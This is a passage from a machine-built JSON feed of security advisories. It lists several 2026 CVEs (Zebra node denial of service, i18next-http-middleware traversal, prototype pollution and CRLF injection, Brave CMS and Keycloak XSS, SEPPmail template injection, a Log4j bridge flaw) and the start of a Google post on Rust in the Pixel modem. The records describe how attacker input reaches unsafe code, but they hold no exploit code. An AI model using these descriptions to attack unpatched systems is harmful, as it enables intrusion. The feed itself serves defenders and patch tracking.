CVE-2026-6659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6659","type":"primary","publishedAt":"2026-05-08T18:16:34.183Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44499","cveId":"CVE-2026-44499","aliases":[],"kind":"vulnerability","title":"ZEBRA is a Zcash node written entirely in Rust.","summary":"ZEBRA is a Zcash node written entirely in Rust. Prior to version 4.4.0, a composite denial-of-service vulnerability in Zebra's block discovery pipeline allows an unauthenticated remote attacker to permanently halt all new block discovery on a targeted node. The attack exploits three independent weaknesses in the gossip, syncer, and download subsystems — all exercisable from a single TCP connection — to create a monotonically growing block deficit that never self-heals. This issue has been patched in version 4.4.0.","detail":"ZEBRA is a Zcash node written entirely in Rust. Prior to version 4.4.0, a composite denial-of-service vulnerability in Zebra's block discovery pipeline allows an unauthenticated remote attacker to permanently halt all new block discovery on a targeted node. The attack exploits three independent weaknesses in the gossip, syncer, and download subsystems — all exercisable from a single TCP connection — to create a monotonically growing block deficit that never self-heals. This issue has been patched in version 4.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T16:16:13.117Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44499","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44499","type":"primary","publishedAt":"2026-05-08T16:16:13.117Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42353","cveId":"CVE-2026-42353","aliases":[],"kind":"vulnerability","title":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.","summary":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware passes the user-controlled lng and ns values from getResourcesHandler directly into i18next.services.backendConnector.load(languages, namespaces, …) without any sanitization. Depending on which backend is configured, the unvalidated path segments enable either path traversal or SSRF. This issue has been patched in version 3.9.3.","detail":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware passes the user-controlled lng and ns values from getResourcesHandler directly into i18next.services.backendConnector.load(languages, namespaces, …) without any sanitization. Depending on which backend is configured, the unvalidated path segments enable either path traversal or SSRF. This issue has been patched in version 3.9.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T16:16:12.197Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42353","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42353","type":"primary","publishedAt":"2026-05-08T16:16:12.197Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41690","cveId":"CVE-2026-41690","aliases":[],"kind":"vulnerability","title":"18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.","summary":"18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Versions prior to 3.9.3 allow an unauthenticated HTTP client to pollute Object.prototype in the Node.js process hosting the middleware, via two unvalidated entry points that reach internal object-key writes: getResourcesHandler and missingKeyHandler. This can break authorisation checks (if (user.isAdmin) returning true for any user), cause type-confusion DoS, and depending on downstream code  it can be chained into RCE.","detail":"18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Versions prior to 3.9.3 allow an unauthenticated HTTP client to pollute Object.prototype in the Node.js process hosting the middleware, via two unvalidated entry points that reach internal object-key writes: getResourcesHandler and missingKeyHandler. This can break authorisation checks (if (user.isAdmin) returning true for any user), cause type-confusion DoS, and depending on downstream code  it can be chained into RCE.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T16:16:11.473Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41690","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41690","type":"primary","publishedAt":"2026-05-08T16:16:11.473Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41683","cveId":"CVE-2026-41683","aliases":[],"kind":"vulnerability","title":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.","summary":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.","detail":"i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T16:16:11.320Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41683","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41683","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41683","type":"primary","publishedAt":"2026-05-08T16:16:11.320Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41576","cveId":"CVE-2026-41576","aliases":[],"kind":"vulnerability","title":"Brave CMS is an open-source CMS.","summary":"Brave CMS is an open-source CMS. Prior to commit 6c56603, the contact form is publicly accessible (no authentication required). User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive. The resulting content is then rendered in a Blade email template using the unescaped {!! $msg !!} directive. Because HTML is not sanitized, arbitrary markup can be injected into the email body. While modern HTML-capable email clients (Gmail or Outlook Web) typically block JavaScript execution, they still render HTML content. This allows attackers to craft convincing phishing interfaces inside the email sent to the administrator. This issue has been patched via commit 6c56603.","detail":"Brave CMS is an open-source CMS. Prior to commit 6c56603, the contact form is publicly accessible (no authentication required). User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive. The resulting content is then rendered in a Blade email template using the unescaped {!! $msg !!} directive. Because HTML is not sanitized, arbitrary markup can be injected into the email body. While modern HTML-capable email clients (Gmail or Outlook Web) typically block JavaScript execution, they still render HTML content. This allows attackers to craft convincing phishing interfaces inside the email sent to the administrator. This issue has been patched via commit 6c56603.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T15:16:40.910Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41576","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41576","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41576","type":"primary","publishedAt":"2026-05-08T15:16:40.910Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41524","cveId":"CVE-2026-41524","aliases":[],"kind":"vulnerability","title":"Brave CMS is an open-source CMS.","summary":"Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.","detail":"Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T15:16:40.253Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41524","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41524","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41524","type":"primary","publishedAt":"2026-05-08T15:16:40.253Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44129","cveId":"CVE-2026-44129","aliases":[],"kind":"vulnerability","title":"SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled...","summary":"SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.","detail":"SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T14:16:46.007Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44129","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44129","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44129","type":"primary","publishedAt":"2026-05-08T14:16:46.007Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-37980","cveId":"CVE-2026-37980","aliases":["GHSA-m32f-8vh9-2hh3"],"kind":"vulnerability","title":"Keycloak: Arbitrary code execution via Stored Cross-Site Scripting (XSS) in organization selection login page","summary":"A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm.","detail":"A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm.\n\nAffected package ranges reported by GitHub:\norg.keycloak:keycloak-services: <= 26.5.5","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-04-14T15:30:35.000Z","updatedAt":"2026-10-22T21:33:03.000Z","regions":["Global"],"vendor":null,"product":"org.keycloak:keycloak-services","stacks":["Java packages (Maven)","org.keycloak:keycloak-services","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-m32f-8vh9-2hh3","asOf":"2026-10-22T21:33:03.000Z"},"epss":{"probability":0.00355,"percentile":0.28962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-m32f-8vh9-2hh3","url":"https://github.com/advisories/GHSA-m32f-8vh9-2hh3","type":"primary","publishedAt":"2026-04-14T15:30:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-m32f-8vh9-2hh3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-37980, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34479","cveId":"CVE-2026-34479","aliases":["GHSA-h383-gmxw-35v2"],"kind":"vulnerability","title":"Apache Log4j 1 to Log4j 2 bridge: silent log event loss in Log4j1XmlLayout due to unescaped XML 1.0 forbidden characters","summary":"The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.\n\nTwo groups of users are affected:","detail":"The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records.\n\nTwo groups of users are affected:\n\n* Those using `Log4j1XmlLayout` directly in a Log4j Core 2 configuration file.\n* Those using the Log4j 1 configuration compatibility layer with `org.apache.log4j.xml.XMLLayout` specified as the layout class.\n\nUsers are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version `2.25.4`, which corrects this issue.\n\n> [!NOTE]\n> The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the\n> [Log4j 1 to Log4j 2 migration guide](https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html), and specifically the section on eliminating reliance on the bridge.\n\nAffected package ranges reported by GitHub:\norg.apache.logging.log4j:log4j-core: >= 2.7, < 2.25.4\norg.apache.logging.log4j:log4j-core: >= 3.0.0-beta1, <= 3.0.0-beta2","action":"GitHub lists first patched versions: org.apache.logging.log4j:log4j-core: 2.25.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-04-10T18:31:18.000Z","updatedAt":"2026-10-26T15:16:51.000Z","regions":["Global"],"vendor":null,"product":"org.apache.logging.log4j:log4j-core, org.apache.logging.log4j:log4j-core","stacks":["Log4j","Java packages (Maven)","org.apache.logging.log4j:log4j-core","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-h383-gmxw-35v2","asOf":"2026-10-26T15:16:51.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h383-gmxw-35v2","url":"https://github.com/advisories/GHSA-h383-gmxw-35v2","type":"primary","publishedAt":"2026-04-10T18:31:18.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h383-gmxw-35v2, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"google-security-bringing-rust-to-pixel-baseband-553ac45037fa","cveId":null,"aliases":[],"kind":"advisory","title":"Bringing Rust to the Pixel Baseband","summary":"Posted by Jiacheng Lu, Software Engineer, Google Pixel Team \n\n Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on \"Deploying Rust in Existing Firmware Codebases\" , this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other areas.\n\n Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments.\n\n Why Modem Memory Safety Can’t Wait\n\n In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in the predominantly memory-unsafe firmware code.\n\n Why DNS?\n\n The DNS protocol is most commonly known in the context of browsers finding websites. With the evolution of cellular technology, modern cellular communications have migrated to digital data networks; consequently, even basic operations such as call forwarding rely on DNS services.\n\n DNS is a complex protocol and requires parsing of untrusted data, which can lead to vulnerabilities, particularly when implemented in a memory-unsafe language (example: CVE-2024-27227 ). Implementing the DNS parser","detail":"Posted by Jiacheng Lu, Software Engineer, Google Pixel Team \n\n Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on \"Deploying Rust in Existing Firmware Codebases\" , this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other 